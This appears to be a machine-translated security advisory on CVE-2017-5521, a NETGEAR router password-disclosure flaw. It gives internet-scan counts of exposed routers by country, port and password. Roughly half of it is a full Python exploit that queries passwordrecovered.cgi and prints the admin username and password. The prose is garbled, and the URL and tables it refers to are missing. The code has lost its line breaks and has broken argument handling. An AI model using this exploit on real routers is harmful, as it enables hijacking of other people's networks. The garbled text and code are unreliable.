NETGEAR is a United States well-known router manufacturers, its products are used worldwide extensively. Recently, foreign security researcher Simon Kenin find NETGEAR router more series there is a password leak Vulnerability, CVE-2017-5521-in. When the router Password Recovery functionality is disabled to enable remote management when the vulnerability can be triggered.
Affected Router the presence of leaked password of the risk
Currently the vulnerability of the Publisher to verify the affected version:
Access vulnerability the router the following url:
We 2017-02/03 using ZoomEye cyberspace search engine to search for Netgear got 2249273 results, found still affected router has 5065, home in 81 countries. Wherein the number of the top ten country distribution as shown below:
Port distribution aspect, in the router open port type a total of 32 species, of which the port number Top10 as shown below:
Then we on these router password classification after the statistics of the different passwords a total of 3156. The following table is the number of occurrences of the top ten passwords:
The table appears the most number of times the password is password ,this password is the NETGEAR router default password, that is those affected router has 744 using the default password,which the United States occupies 267, Kuwait occupies a 173.
#!/usr/bin/env python # coding: utf-8 import sys import requests def scrape(text, start_trig, end_trig): if text.find(start_trig) != -1: return text.split(start_trig, 1)[-1].split(end_trig, 1) else: return "i_dont_speak_english" #disable nasty insecure ssl warning requests.packages.urllib3.disable_warnings() #1st stage ip = sys.argv port = sys.argv url = 'http://' + ip + ':' + port + '/' try: r = requests.get(url) except: url = 'https://' + ip + ':' + port + '/' r = requests.get(url, verify=False) model = r.headers.get('WWW-Authenticate') if model is not None: print "Attacking: " + model[13:-1] else: print "not a netgear router" sys.exit(0) #2nd stage url = url + 'passwordrecovered.cgi?id=get_rekt' try: r = requests.post(url, verify=False) except: print "not vulnerable router" sys.exit(0) #profit if r.text.find('left\">') != -1: username = (repr(scrape(r.text, 'Router Admin Username</td>', '</td>'))) username = scrape(username, '>', '\'') password = (repr(scrape(r.text, 'Router Admin Password</td>', '</td>'))) password = scrape(password, '>', '\'') if username == "i_dont_speak_english": username = (scrape(r.text[r.text.find('left\">'):-1], 'left\">', '</td>')) password = (scrape(r.text[r.text.rfind('left\">'):-1], 'left\">', '</td>')) else: print "not vulnerable router, or some one else already accessed passwordrecovered.cgi, reboot router and test again" sys.exit(0) #html encoding pops out of nowhere, lets replace that password = password.replace("#","#") password = password.replace("&","&") print "user: " + username print "pass: " + password